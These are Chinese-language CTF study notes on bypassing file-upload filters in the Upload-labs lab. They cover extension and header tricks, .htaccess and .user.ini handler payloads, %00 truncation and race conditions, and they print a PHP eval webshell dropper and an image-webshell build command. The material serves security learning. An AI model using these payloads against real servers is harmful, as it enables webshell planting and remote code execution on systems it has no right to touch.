【CTF-web】文件上传(Upload-labs)知识点
html的请求头中Content-Type决定了客户端返回的内容类型;同时php可能就此进行判断和限制,可抓包修改。
.phtml
(php2)->.php3
(php3)->.php
(php4之后)还有.php2、.php3、.php4、.php5黑名单绕过方式
.htaccess
是网站根目录下apache的配置文件。
SetHandler application/x-httpd-php
以php解析文件,再传入图片马即可webshell(直接改php后缀名没用的原因正是图片文件不会解析)
方法一:
<FilesMatch "4.png">
SetHandler application/x-httpd-php
</FilesMatch>
#如果当前目录下有4.png,就会被解析为.php
方法二:
AddType application/x-httpd-php .png
#如果当前目录下有以.png结尾的文件,就会被解析为.php
9. GIF89a
gif的文件头,可在一句话木马前加上,后缀改成.jpg或.png等绕过文件头检测
.user.ini
同样是配置文件,不仅apache,同样适用于nginx。
auto_prepend_file = <filename> //使所有文件都把<filename>包含在文件头
auto_append_file = <filename> //则是把所有文件后<filename>都包含在文件尾
filename就是图片马,再随便用蚁剑连接一个.php的文件就get webshell了
大小写绕过,没有
strtolower()
空格绕过,没有
trim()
,上传1.php (有个空格)
(Windows下,文件名中空格会被作为空处理)点号绕过,有
deldot()
:删除追加的所有的.
(点) 或strrchr($file_name, '.')
:会把最后的.及.后面的部分删除
可上传1.php.
(windows环境下的.
也会自动忽略)
有deldot()
和strrchr($file_name, '.')
,可上传1.php. .(1点+php+点+空格+点)
.php::$DATA
:(windows)上传1.php,抓包改名为1.php::%DATA
,绕过黑名单,访问/连接时仍是1.phpstr_ireplace($黑名单,"(用于替换后的字符,这里是空)", $file_name);
双写绕过,如1.pphphp
%00截断
,当上传保存的目录可控时:(GET)可以抓包改为
upload/1.php%00
,这样即使上传的1.jpg仍然被保存成1.php(POST)%00不会自动解码,可以先改为
1.php+
,再在Hex里将2b
(+号)改为00
图片马制作bash:
copy pic.jpg /b + 1.php /a 2.png
表示将文件pic.jpg(需要有实际的内容,或者在开头加上
GIF89a
等)与文件1.php合成为文件2.png二次渲染:一个图片上传后服务器可能对它有修改,对比没变的部分,将木马插在这里重新上传即可。通常是gif,简单。
条件竞争:文件是先上传上去,然后发现不对才删除的。就趁着这个间隙,把一句话木马写进去。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>'); ?>
move_uploaded_file(文件名,路径)
将上传的文件移动,该函数会忽略掉最后的/.
,进而1.php/.
就能绕过黑名单